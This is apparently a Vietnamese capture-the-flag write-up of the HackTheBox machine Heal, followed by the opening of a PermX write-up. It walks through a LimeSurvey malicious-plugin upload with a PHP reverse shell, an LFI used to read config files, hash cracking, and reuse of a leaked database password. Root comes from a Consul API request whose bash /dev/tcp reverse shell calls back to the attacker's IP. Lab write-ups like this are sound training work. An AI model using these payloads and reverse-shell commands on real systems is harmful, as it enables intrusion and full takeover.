Hackthebox - Heal
in CTF on Limesurvey, Burpsuite, Pgsql, SSH, Consul, Linux, Hackthebox
Reconnaissance and Scanning
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFWKy4neTpMZp5wFROezpCVZeStDXH5gI5zP4XB9UarPr/qBNNViyJsTTIzQkCwYb2GwaKqDZ3s60sEZw362L0o=
| 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILMCYbmj9e7GtvnDNH/PoXrtZbCxr49qUY8gUwHmvDKU
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Thêm domain vào file hosts
10.10.11.46 heal.htb
Sử dụng các công cụ và các phương pháp thông thường
Enumeration and Gaining access
Vhosts, directories
Tìm directories
┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://heal.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/reports/http_heal.htb/_25-02-19_11-41-32.txt
Target: http://heal.htb/
[11:41:32] Starting:
[11:41:35] 503 - 608B - /html.old
[11:41:35] 503 - 608B - /jsp.php
[11:41:35] 503 - 608B - /php
[11:41:35] 503 - 608B - /jsp.tar
[11:41:35] 503 - 608B - /html.tar
[11:41:36] 503 - 608B - /php.tar
[11:41:36] 503 - 608B - /aspx.tgz
[11:41:36] 503 - 608B - /jsp.tgz
[11:41:36] 503 - 608B - /php.txt
[11:41:36] 503 - 608B - /aspx.txt
[11:41:36] 503 - 608B - /jsp.txt
[11:41:36] 503 - 608B - /php.zip
[11:41:36] 503 - 608B - /aspx.zip
[11:41:36] 503 - 608B - /jsp.zip
[11:41:36] 503 - 608B - /+CSCOE+/session_password.html
[11:41:36] 503 - 608B - /%ff
Có vẻ như không thể tìm được directories bằng tool. Vì có domain nên tôi sẽ đi tìm vhost của nó
┌──(kali㉿kali)-[~/burpsuite_pro]
└─$ ffuf -u http://heal.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.heal.htb" -r
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://heal.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.heal.htb
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
demo [Status: 200, Size: 1672, Words: 330, Lines: 43, Duration: 66ms]
mysql [Status: 200, Size: 1672, Words: 330, Lines: 43, Duration: 165ms]
www [Status: 200, Size: 1672, Words: 330, Lines: 43, Duration: 261ms]
cpanel [Status: 200, Size: 1672, Words: 330, Lines: 43, Duration: 357ms]
Sử dụng ffuf
với một số tuỳ chọn:
-
-H
: Header của request, giống như request trong burpsuite. Vị trí của tham sốFUZZ
sẽ quyết định nơi công cụ khai thác (ở đây là tìm vhost) -
-r
: Follow redirect -
-fs
: Filter HTTP response size - Không in ra những kết quả có kích thước của response là 1672
┌──(kali㉿kali)-[~/burpsuite_pro]
└─$ ffuf -u http://heal.htb -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.heal.htb" -r -fs 1672
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://heal.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.heal.htb
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1672
________________________________________________
[WARN] Caught keyboard interrupt (Ctrl-C)
Chờ khá lâu mà không có kết quả, tôi sẽ thử thêm 1 lần nữa nhưng với 1 dictionary khác
┌──(kali㉿kali)-[~/burpsuite_pro]
└─$ ffuf -u http://heal.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.heal.htb" -r -fs 1672
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://heal.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.heal.htb
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1672
________________________________________________
api [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 5198ms]
Thêm vhost và file host
10.10.11.46 heal.htb api.heal.htb
Thử tìm kiếm các thông tin về lỗ hổng của Rails version 7.1.4 hay ruby 3.3.5 nhưng không có gì, nên tôi sẽ quay lại với trang đầu tiên vì tôi chưa làm gì với nó.
Thử Signup để đăng ký tài khoản
Lướt qua các input trên trang web, khi chọn SURVEY
, tôi nhận ra có 1 url mới
Thêm vhost vào file host
10.10.11.46 heal.htb api.heal.htb take-survey.heal.htb
Truy cập thử domain, tôi lại có thêm 1 số dữ kiện
Exploit Limesurvey
Tôi có 1 opensource tên LimeSurvey, tìm lỗ hổng của opensource này, tôi tìm thấy Limesurvey-RCE
Phân tích 1 chút về lỗ hổng này. Script sẽ thực hiện khai thác RCE bằng cách đăng nhập vào hệ thống LimeSurvey, tải lên 1 plugin độc hại, cài đặt và kịch hoạt nó để mở 1 reverse shell.
Cụ thể, code sẽ cố gắng đăng nhập vào LimeSurvey để lấy CSRF token.
Sau khi đăng nhập thành công, truy cập vào trang quản lý plugin để lấy CSRF token thứ 2.
Upload_creds = {
"YII_CSRF_TOKEN": CSRF_token2,
"lid": "$lid",
"action": "templateupload"
}
file_upload = req.post(url+"/index.php/admin/pluginmanager?sa=upload", files={'the_file': filehandle}, data=Upload_creds)
Tạo payload để tải file lên
UploadPage = req.get(url+"/index.php/admin/pluginmanager?sa=uploadConfirm")
print("[+] Plugin Uploaded Successfully")
Lấy CSRF token thứ 3 từ trang cài đặt plugin và gửi yêu cầu POST để cài đặt plugin vừa tải lên.
InstallPage = req.get(url+"/index.php/admin/pluginmanager?sa=installUploadedPlugin")
response = InstallPage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token3 = s.findAll('input')[0].get("value")
print(CSRF_token3)
Install_creds = {
"YII_CSRF_TOKEN": CSRF_token3,
"isUpdate": "false"
}
file_install = req.post(url+"/index.php/admin/pluginmanager?sa=installUploadedPlugin", data=Install_creds)
print("[+] Plugin Installed Successfully")
Lấy CSRF thứ 4 từ trang kích hoạt plugin và kích hoạt nó với pluginId=1.
ActivatePage = req.get(url+"/index.php/admin/pluginmanager?sa=activate")
response = ActivatePage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token4 = s.findAll('input')[0].get("value")
print(CSRF_token4)
Activate_creds = {
"YII_CSRF_TOKEN": CSRF_token4,
"pluginId": "1" # CHANGE THIS
}
file_activate = req.post(url+"/index.php/admin/pluginmanager?sa=activate", data=Activate_creds)
print("[+] Plugin Activated Successfully")
Lưu ý, cần thay đổi đường dẫn chứa file Y1LD1R1M.zip cho đúng thì mới có thể tải lên thành công.
filehandle = open("/root/limesurvey/plugin/Y1LD1R1M.zip", mode="rb") # CHANGE THIS
UploadPage = req.get(url+"/index.php/admin/pluginmanager/sa/index")
response = UploadPage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token2 = s.findAll('input')[0].get("value")
print(CSRF_token2)
Thay đổi đường dẫn file đến file zip
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ pwd Y1LD1R1M.zip
/home/neo/htb/machines/heal/Limesurvey-RCE
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ /home/neo/htb/machines/heal/Limesurvey-RCE/Y1LD1R1M.zip
filehandle = open("/home/neo/htb/machines/heal/Limesurvey-RCE/Y1LD1R1M.zip", mode="rb") # CHANGE THIS
UploadPage = req.get(url+"/index.php/admin/pluginmanager/sa/index")
response = UploadPage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token2 = s.findAll('input')[0].get("value")
print(CSRF_token2)
Thay đổi reverse shell thành IP của máy kali và port muốn lắng nghe
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ nano php-rev.php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.11'; // CHANGE THIS
$port = 9001; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
Zip lại file file php-rev.php
đã sửa đổi và config.xml
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ rm -r Y1LD1R1M.zip
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ zip Y1LD1R1M.zip config.xml php-rev.php
adding: config.xml (deflated 56%)
adding: php-rev.php (deflated 61%)
Chạy exploit với port 9001
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ python3 exploit.py http://take-survey.heal.htb admin password 9001
Không có kết quả. Có vẻ như username và password mặc định không có kết quả. Tôi sẽ quay trở lại heal.htb
vì còn 1 số phần chưa khai thác hết.
Tôi sẽ thử điền thông tin và export as pdf.
Bật Burpsuite để bắt request
Ở request OPTIONS tôi có path /download?filename=775f1583bfddb57d91dd.pdf
tôi nghĩ ngay đến có thể LFI ở đây. Gửi request này và request GET có chứa Authorization đến Repeater. Sau đó thay thế /resume
bằng path phía trên
Để ý ngoài user ralph đã biết từ trước thì tôi còn có thêm user ron.
Sau khi search gg cũng như hỏi mấy con AI về nói lưu trữ thông tin đăng nhập, database hay các file config của ruby on rails
thì tôi biết được các thông tin này thường nằm ở /config/database.yml
Tôi đã có được hash của user ralph. Sử dụng john
để crack nó
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ cat hash
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 20 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
147258369 (?)
1g 0:00:00:05 DONE (2025-03-22 14:52) 0.1960g/s 105.8p/s 105.8c/s 105.8C/s aaliyah..miranda
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Đăng nhập vào Limesurvey theo đường dẫn trong file exploit.py
Thử upload thủ công plugin: Configuration -> Plugins -> Upload & install
Có 1 lưu ý mà lúc đầu tôi đã không nhận ra và không thể upload được plugin, đó là phiên bản trong config.xml
và phiên bản của Limesurvey không tương thích với nhau
Tôi phải chỉnh sửa và thêm version của phiên bản Limesurvey hiện tại vào config.xml
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>Y1LD1R1M</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>Y1LD1R1M</author>
<authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
<supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
<version>6.6.4</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : Y1LD1R1M]]></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
Sau đó thì xoá file zip cũ và thực hiện zip lại 1 lần nữa.
Quay trở lại phần install plugin phía trên. Sau khi install, kiểm tra lại để chắc chắn plugin đã install thành công
Bật listener với port đã cấu hình ở các bước trước (tôi đang dùng 9001) và mở php revershell thủ công theo path /upload/plugins/Y1LD1R1M/php-rev.php
trên trình duyệt.
┌──(neo㉿fs0c13ty)-[~]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.25] from (UNKNOWN) [10.10.11.46] 38064
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
08:19:39 up 12:37, 0 users, load average: 0.02, 0.05, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Nghiên cứu về cây thư mục của Limesurvey trên github, tôi tìm thấy file chưa user:pass của db trong application/config/config.php
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
),
'session' => array (
'sessionName'=>'LS-ZNIDJBOXUNKXWTIP',
// Uncomment the following lines if you need table-based sessions.
// Note: Table-based sessions are currently not supported on MSSQL server.
// 'class' => 'application.core.web.DbHttpSession',
// 'connectionID' => 'db',
// 'sessionTableName' => '',
),
'urlManager' => array(
'urlFormat' => 'path',
'rules' => array(
// You can add your own rules here
),
'showScriptName' => true,
),
// If URLs generated while running on CLI are wrong, you need to set the baseUrl in the request component. For example:
//'request' => array(
// 'baseUrl' => '/limesurvey',
//),
),
Đăng nhập vào pgsql
┌──(neo㉿fs0c13ty)-[~]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.25] from (UNKNOWN) [10.10.11.46] 35864
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
09:49:08 up 14:06, 0 users, load average: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@heal:/$ psql -h localhost -p 5432 -U db_user -d survey
psql -h localhost -p 5432 -U db_user -d survey
Password for user db_user: AdmiDi0_pA$$w0rd
psql (14.15 (Ubuntu 14.15-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
survey=> SELECT * FROM lime_users;
uid | users_name | password | full_name | parent_id | lang | email | htmleditormode | templateeditormode | questionselectormode | one_time_pw | dateformat | last_login | created | modified | validation_key | validation_key_expiration | last_forgot_email_password | expires | user_status
-----+------------+--------------------------------------------------------------+---------------+-----------+------+----------------+----------------+--------------------+----------------------+-------------+------------+---------------------+----------------------------+----------------------------+----------------+---------------------------+----------------------------+---------+-------------
1 | ralph | $2y$10$qMS2Rbu5NXKCPI5i6rjQPexhhJk33kv3KNt4uNjJ5XEvV9hv.om/C | Administrator | 0 | en | ralph@heal.htb | default | default | default | | 1 | 2025-03-22 09:44:01 | 2024-09-27 10:37:34.356873 | 2025-03-22 09:44:01.945104 | | |
| | 1
Tuy nhiên vẫn chỉ là password của ralph như trên web. Vì đang có 1 pass ở đây, tôi sẽ thử với tất cả user mà tôi có thể thử.
SSH and User flag
www-data@heal:/$ su ralph
su ralph
Password: AdmiDi0_pA$$w0rd
su: Authentication failure
www-data@heal:/$ su ron
su ron
Password: AdmiDi0_pA$$w0rd
ron@heal:/$ id
id
uid=1001(ron) gid=1001(ron) groups=1001(ron)
ron@heal:/$
ron@heal:/$ cd
cd
ron@heal:~$ ls -la
ls -la
total 28
drwxr-x--- 3 ron ron 4096 Dec 9 15:13 .
drwxr-xr-x 4 root root 4096 Dec 9 12:53 ..
lrwxrwxrwx 1 root root 9 Dec 9 12:57 .bash_history -> /dev/null
-rw-r--r-- 1 ron ron 220 Dec 9 12:53 .bash_logout
-rw-r--r-- 1 ron ron 3771 Dec 9 12:53 .bashrc
drwx------ 2 ron ron 4096 Dec 9 15:13 .cache
-rw-r--r-- 1 ron ron 807 Dec 9 12:53 .profile
-rw-r----- 1 root ron 33 Mar 21 19:42 user.txt
Privilege escalation
Sau khi thử một số phương pháp mà tôi vẫn thường làm thì đều không có bất kỳ kết quả nào đáng kể. Vậy nên cách cuối cùng là tải lên linpeas.sh
và cho nó phân tích server này.
Để ý phần active ports tôi thấy còn khá nhiều port đang mở
╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8503 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Tôi sẽ sử dụng port forward thông qua SSH để kiểm tra các port đang mở này. Và sau khi thử 1 lượt thì tôi tìm thấy port 8500
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal]
└─$ sshpass -p 'AdmiDi0_pA$$w0rd' ssh ron@10.10.11.46 -L 8500:127.0.0.1:8500
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Mar 23 03:42:54 PM UTC 2025
System load: 0.23
Usage of /: 81.4% of 7.71GB
Memory usage: 31%
Swap usage: 0%
Processes: 278
Users logged in: 1
IPv4 address for eth0: 10.10.11.46
IPv6 address for eth0: dead:beef::250:56ff:feb9:24aa
Expanded Security Maintenance for Applications is not enabled.
29 updates can be applied immediately.
18 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Mar 23 14:59:14 2025 from 10.10.14.25
ron@heal:~$
Vào web để kiểm tra
Để ý ở góc dưới bên trái tôi có Consul v1.19.2
. Thử tìm lỗ hổng của thằng này, tôi tìm thấy Hashicorp Consul v1.0 - RCE
Phân tích một chút về PoC này
# Exploit Title: Hashicorp Consul v1.0 - Remote Command Execution (RCE)
# Date: 26/10/2022
# Exploit Author: GatoGamer1155, 0bfxgh0st
# Vendor Homepage: https://www.consul.io/
# Description: Exploit for gain reverse shell on Remote Command Execution via API
# References: https://www.consul.io/api/agent/service.html
# Tested on: Ubuntu Server
# Software Link: https://github.com/hashicorp/consul
import requests, sys
if len(sys.argv) < 6:
print(f"\n[\033[1;31m-\033[1;37m] Usage: python3 {sys.argv[0]} <rhost> <rport> <lhost> <lport> <acl_token>\n")
exit(1)
target = f"http://{sys.argv[1]}:{sys.argv[2]}/v1/agent/service/register"
headers = {"X-Consul-Token": f"{sys.argv[5]}"}
json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{sys.argv[3]}/{sys.argv[4]} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}
try:
requests.put(target, headers=headers, json=json)
print("\n[\033[1;32m+\033[1;37m] Request sent successfully, check your listener\n")
except:
print("\n[\033[1;31m-\033[1;37m] Something went wrong, check the connection and try again\n")
Tôi có thể biến PoC này thành file python và chạy. Tuy nhiên là tôi không có acl_token nên tôi sẽ sử dụng 1 cách thủ công: là gửi 1 request register thông qua curl
với nội dung chính là phần json của PoC trên.
json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{sys.argv[3]}/{sys.argv[4]} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}
Trước tiên là phải bật 1 listener với port tự chọn, ở đây tôi chọn 9001
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
Gửi request bằng curl
, thay đổi IP là máy của tôi và port mong muốn - ở đây tôi đang dùng 9001
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal]
└─$ curl -X PUT -d '{"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.25/9001 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}' http://127.0.0.1:8500/v1/agent/service/register
Quay lại listener
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.25] from (UNKNOWN) [10.10.11.46] 36370
bash: cannot set terminal process group (149665): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@heal:/# cd root
cd root
root@heal:~# ls -la
ls -la
total 52
drwx------ 7 root root 4096 Mar 21 19:42 .
drwxr-xr-x 19 root root 4096 Dec 8 13:57 ..
lrwxrwxrwx 1 root root 9 Nov 29 11:50 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwxr-xr-x 3 root root 4096 Dec 8 13:57 .bundle
drwxr-xr-x 3 root root 4096 Dec 8 13:57 .cache
-rwxr-xr-x 1 root root 658 Sep 27 12:16 cleanup-consul.sh
drwxr-xr-x 3 root root 4096 Dec 8 13:57 .config
-rwxr-xr-x 1 root root 863 Oct 7 03:23 consul-up.sh
drwxr-xr-x 3 root root 4096 Dec 8 13:57 .local
-rwxr-xr-x 1 root root 585 Dec 4 10:09 plugin_cleanup.sh
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r----- 1 root root 33 Mar 21 19:42 root.txt
drwx------ 2 root root 4096 Dec 8 13:57 .ssh
HackTheBox - PermX
in CTF on Web, Linux, Mysql, SSH, Chamilo, Cve-2023-4220, Hackthebox
PermX là một máy đơn giản lợi dụng lỗ hổng CVE-2023-4220 để upload shell và lấy rce.
Reconnaissance and Scanning
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAyYzjPGuVga97Y5vl5BajgMpjiGqUWp23U2DO9Kij5AhK3lyZFq/rroiDu7zYpMTCkFAk0fICBScfnuLHi6NOI=
| 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8A41tX6hHpQeDLNhKf2QuBM7kqwhIBXGZ4jiOsbYCI
80/tcp open http syn-ack Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://permx.htb
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Thêm domain permx.htb vào file host. Truy cập lại thì cũng không có gì thay đổi. Tuy nhiên, khi có domain thì tôi sẽ nghĩ đến việc tìm subdomain hoặc vhost
Sử dụng ffuf
┌──(neo㉿n0b0dy)-[~/HTB/PermX]
└─$ ffuf -r -w /usr/share/seclists/Discovery/DNS/namelist.txt -u "http://permx.htb" -H "Host: FUZZ.permx.htb" -t 30
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.permx.htb
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 30
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
5 [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 64ms]
9 [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 66ms]
01 [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 69ms]
3 [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 68ms]
6 [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 79ms]
3com [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 79ms]
a01 [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 69ms]
4 [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 79ms]
8 [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 67ms]
02 [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 67ms]
a [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 69ms]
Tất cả đều là có thể truy cập được, điều này không đúng lắm. Khi sử dụng burpsuite để kiếm tra độ dài của response thì tôi nhận được kết quả cũng là 36182 giống với size mà ffuf đã quét ra được.
Tôi sẽ sử dụng thêm 1 vài options để bỏ qua tất cả các kết quả có size:36182 vì tôi biết chắc chắn nó không đúng.
Tôi sẽ thêm -o để ffuf ghi kết quả ra file và dùng grep để lấy ra các kết quả không phải là 36182
┌──(kali㉿kali)-[~/HTB/BoardLight]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.permx.htb" -u http://permx.htb -t 30 -o - | grep -v "36182"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.permx.htb
:: Output file : -
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 30
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
lms [Status: 200, Size: 19347, Words: 397, Lines: 150, Duration: 121ms]
Thêm nó vào file host và truy cập http://lms.permx.htb
Enumeration
┌──(neo㉿n0b0dy)-[~]
└─$ whatweb http://lms.permx.htb
http://lms.permx.htb [200 OK] Apache[2.4.52], Bootstrap, Chamilo[1], Cookies[GotoCourse,ch_sid], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], HttpOnly[GotoCourse,ch_sid], IP[10.10.11.23], JQuery, MetaGenerator[Chamilo 1], Modernizr, PasswordField[password], PoweredBy[Chamilo], Script, Title[PermX - LMS - Portal], X-Powered-By[Chamilo 1], X-UA-Compatible[IE=edge]
Tôi có 1 form đăng nhập và có 1 cái tên Chamilo 1. Đây có thể là trình quản trị của site này và phiên bản của nó.
